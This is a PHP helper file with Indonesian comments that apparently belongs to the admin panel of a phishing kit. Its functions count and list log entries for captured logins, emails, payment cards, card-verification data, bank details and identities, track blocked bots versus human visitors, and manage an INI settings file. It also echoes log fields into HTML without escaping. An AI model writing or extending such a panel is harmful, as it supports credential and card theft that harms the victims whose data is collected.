<?php

// ===========================================================
// Hitung jumlah baris file
// ===========================================================
function countresult($file)
{
    if (!$file || trim($file) == "") return 0;

    $file = str_replace("\r", "", $file);
    $file = explode("\n", trim($file));
    return count($file);
}



// ===========================================================
// Hitung hasil dari logs
// ===========================================================
function getresult($type)
{
    $path = __DIR__ . "/../../logs/";

    $files = [
        "logvisit" => "human.txt",
        "visitor"  => "total_login.txt",
        "blocked"  => "block_bot.txt",
        "login"    => "total_login2.txt",
        "email"    => "total_email.txt",
        "card"     => "total_card.txt",
        "vbv"      => "total_card2.txt",
        "bank"     => "total_bank.txt",
        "ident"    => "total_identity.txt",
    ];

    if ($type === "all") {
        $block = file_exists($path . "block_bot.txt") ? countresult(file_get_contents($path . "block_bot.txt")) : 0;
        $visit = file_exists($path . "activity.txt") ? countresult(file_get_contents($path . "activity.txt")) : 0;
        return $block + $visit;
    }

    if (!isset($files[$type])) return 0;

    $filePath = $path . $files[$type];
    if (!file_exists($filePath)) return 0;

    return countresult(file_get_contents($filePath));
}



// ===========================================================
// Menampilkan tabel list log
// ===========================================================
function getlist($type)
{
    $path = __DIR__ . "/../../logs/";

    if ($type === "logvisit") {
        $file = $path . "human.txt";
        if (!file_exists($file)) return;

        $data = explode("\n", trim(str_replace("\r", "", file_get_contents($file))));

        foreach ($data as $row) {
            if (trim($row) == "") continue;
            $list = explode("|", $row);

            for ($i = 0; $i <= 6; $i++) {
                $list[$i] = $list[$i] ?? "-";
            }

            echo "<tr>
                    <td>{$list[1]}</td>
                    <td>{$list[2]}</td>
                    <td>{$list[3]}</td>
                    <td>{$list[4]}</td>
                    <td>{$list[5]}</td>
                    <td>{$list[6]}</td>
                  </tr>";
        }
    }

    if ($type === "blocked") {
        $file = $path . "block_bot.txt";
        if (!file_exists($file)) return;

        $data = explode("\n", trim(str_replace("\r", "", file_get_contents($file))));

        foreach ($data as $row) {
            if (trim($row) == "") continue;
            $list = explode("|", $row);

            for ($i = 0; $i <= 6; $i++) {
                $list[$i] = $list[$i] ?? "-";
            }

            echo "<tr>
                    <td>{$list[1]}</td>
                    <td>{$list[2]}</td>
                    <td>{$list[3]}</td>
                    <td>{$list[4]}</td>
                    <td>{$list[5]}</td>
                    <td>{$list[6]}</td>
                  </tr>";
        }
    }
}



// ===========================================================
// Ambil data setting dari INI (tanpa section)
// ===========================================================
function getsetting($key)
{
    $file = __DIR__ . "/../../core/settings.ini";
    if (!file_exists($file)) return "";

    $data = parse_ini_file($file, false, INI_SCANNER_RAW);

    return $data[$key] ?? "";
}



// ===========================================================
// Simpan setting menjadi INI (output ON / OFF)
// ===========================================================
function buildsetting($data)
{
    $ini = "";

    foreach ($data as $key => $value) {

        // Normalisasi nilai menjadi ON / OFF
        if ($value === "true")  $value = "on";
        if ($value === "false") $value = "off";

        if ($value === "on")  $value = "on";
        if ($value === "off") $value = "off";

        // Bersihkan kutip
        $value = str_replace('"', '', $value);

        // Tulis format INI
        $ini .= $key . ' = "' . $value . '"' . "\n";
    }

    return $ini;
}

?>
